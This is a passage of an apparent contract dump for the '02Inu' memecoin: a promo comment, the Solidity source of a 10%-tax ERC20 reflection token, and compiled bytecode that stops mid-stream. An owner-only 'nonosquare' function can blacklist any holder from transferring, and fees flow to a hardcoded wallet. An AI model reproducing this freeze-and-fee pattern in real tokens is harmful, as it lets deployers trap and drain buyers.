as the "Partner Killer". She is well known for addressing Hiro
, the protagonist, by the eponymous term "darling".❤️
Supply: 222,222,222,222
10%tax
Website:www.02Inu.com
Telegram:t.me/inu02token
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Inu02 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 222222222222 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "02Inu";
string private constant _symbol = "02Inu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x32c3512689fDDC9B607222A75fa8ad30804815f9);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 222222222 * 10**9;
_maxWalletSize = 555555555 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612de6565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906128ed565b6104b4565b60405161018e9190612dcb565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612f88565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061292d565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d919061289a565b61060d565b60405161021f9190612dcb565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612800565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ffd565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612976565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c791906129d0565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612800565b6109dd565b6040516103199190612f88565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612cfd565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612de6565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906128ed565b610c9e565b6040516103da9190612dcb565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906129d0565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c919061285a565b61137b565b60405161046e9190612f88565b60405180910390f35b60606040518060400160405280600581526020017f3032496e75000000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611402565b848461140a565b6001905092915050565b6000680c0bf3edba243a0c00905090565b6104eb611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612ec8565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c613345565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106019061329e565b91505061057b565b5050565b600061061a8484846115d5565b6106db84610626611402565b6106d68560405180606001604052806028815260200161370460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611402565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c689092919063ffffffff16565b61140a565b600190509392505050565b6106ee611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612ec8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612ec8565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612ec8565b60405180910390fd5b6000811161093357600080fd5b610962606461095483680c0bf3edba243a0c00611ccc90919063ffffffff16565b611d4790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611402565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d91565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd565b9050919050565b610a36611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612ec8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612ec8565b60405180910390fd5b680c0bf3edba243a0c00600f81905550680c0bf3edba243a0c00601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f3032496e75000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611402565b84846115d5565b6001905092915050565b610cc4611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612ec8565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83680c0bf3edba243a0c00611ccc90919063ffffffff16565b611d4790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611402565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e6b565b50565b610e18611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612ec8565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612f68565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680c0bf3edba243a0c0061140a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611003919061282d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109d919061282d565b6040518363ffffffff1660e01b81526004016110ba929190612d18565b602060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c919061282d565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611195306109dd565b6000806111a0610c38565b426040518863ffffffff1660e01b81526004016111c296959493929190612d6a565b6060604051808303818588803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061121491906129fd565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506703157deefb820c00600f819055506707b5bad574c51e006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611325929190612d41565b602060405180830381600087803b15801561133f57600080fd5b505af1158015611353573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137791906129a3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147190612f48565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e190612e68565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c89190612f88565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90612f08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ac90612e08565b60405180910390fd5b600081116116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef90612ee8565b60405180910390fd5b6000600a81905550600a600b81905550611710610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177e575061174e610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118275750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61183057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118db5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119315750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119495750600e60179054906101000a900460ff165b15611a8757600f54811115611993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198a90612e28565b60405180910390fd5b601054816119a0846109dd565b6119aa91906130be565b11156119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e290612f28565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3657600080fd5b601e42611a4391906130be565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b325750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b885750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9e576000600a81905550600a600b819055505b6000611ba9306109dd565b9050600e60159054906101000a900460ff16158015611c165750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2e5750600e60169054906101000a900460ff165b15611c5657611c3c81611e6b565b60004790506000811115611c5457611c5347611d91565b5b505b505b611c638383836120f3565b505050565b6000838311158290611cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca79190612de6565b60405180910390fd5b5060008385611cbf919061319f565b9050809150509392505050565b600080831415611cdf5760009050611d41565b60008284611ced9190613145565b9050828482611cfc9190613114565b14611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3390612ea8565b60405180910390fd5b809150505b92915050565b6000611d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612103565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df9573d6000803e3d6000fd5b5050565b6000600854821115611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b90612e48565b60405180910390fd5b6000611e4e612166565b9050611e638184611d4790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea357611ea2613374565b5b604051908082528060200260200182016040528015611ed15781602001602082028036833780820191505090505b5090503081600081518110611ee957611ee8613345565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8b57600080fd5b505afa158015611f9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fc3919061282d565b81600181518110611fd757611fd6613345565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140a565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a2959493929190612fa3565b600060405180830381600087803b1580156120bc57600080fd5b505af11580156120d0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120fe838383612191565b505050565b6000808311829061214a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121419190612de6565b60405180910390fd5b50600083856121599190613114565b9050809150509392505050565b600080600061217361235c565b9150915061218a8183611d4790919063ffffffff16565b9250505090565b6000806000806000806121a3876123be565b95509550955095509550955061220186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e2816124ce565b6122ec848361258b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123499190612f88565b60405180910390a3505050505050505050565b600080600060085490506000680c0bf3edba243a0c009050612392680c0bf3edba243a0c00600854611d4790919063ffffffff16565b8210156123b157600854680c0bf3edba243a0c009350935050506123ba565b81819350935050505b9091565b60008060008060008060008060006123db8a600a54600b546125c5565b92509250925060006123eb612166565b905060008060006123fe8e87878761265b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c68565b905092915050565b600080828461247f91906130be565b9050838110156124c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bb90612e88565b60405180910390fd5b8091505092915050565b60006124d8612166565b905060006124ef8284611ccc90919063ffffffff16565b905061254381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a08260085461242690919063ffffffff16565b6008819055506125bb8160095461247090919063ffffffff16565b6009819055505050565b6000806000806125f160646125e3888a611ccc90919063ffffffff16565b611d4790919063ffffffff16565b9050600061261b606461260d888b611ccc90919063ffffffff16565b611d4790919063ffffffff16565b9050600061264482612636858c61242690919063ffffffff16565b61242690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126748589611ccc90919063ffffffff16565b9050600061268b8689611ccc90919063ffffffff16565b905060006126a28789611ccc90919063ffffffff16565b905060006126cb826126bd858761242690919063ffffffff16565b61242690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126f76126f28461303d565b613018565b9050808382526020820190508285602086028201111561271a576127196133a8565b5b60005b8581101561274a57816127308882612754565b84526020840193506020830192505060018101905061271d565b5050509392505050565b600081359050612763816136be565b92915050565b600081519050612778816136be565b92915050565b600082601f830112612793576127926133a3565b5b81356127a38482602086016126e4565b91505092915050565b6000813590506127bb816136d5565b92915050565b6000815190506127d0816136d5565b92915050565b6000813590506127e5816136ec565b92915050565b6000815190506127fa816136ec565b92915050565b600060208284031215612816576128156133b2565b5b600061282484828501612754565b91505092915050565b600060208284031215612843576128426133b2565b5b600061285184828501612769565b91505092915050565b60008060408385031215612871576128706133b2565b5b600061287f85828601612754565b925050602061289085828601612754565b9150509250929050565b6000806000606084860312156128b3576128b26133b2565b5b60006128c186828701612754565b93505060206128d286828701612754565b92505060406128e3868287016127d6565b9150509250925092565b60008060408385031215612904576129036133b2565b5b600061291285828601612754565b9250506020612923858286016127d6565b9150509250929050565b600060208284031215612943576129426133b2565b5b600082013567ffffffffffffffff811115612961576129606133ad565b5b61296d8482850161277e565b91505092915050565b60006020828403121561298c5761298b6133b2565b5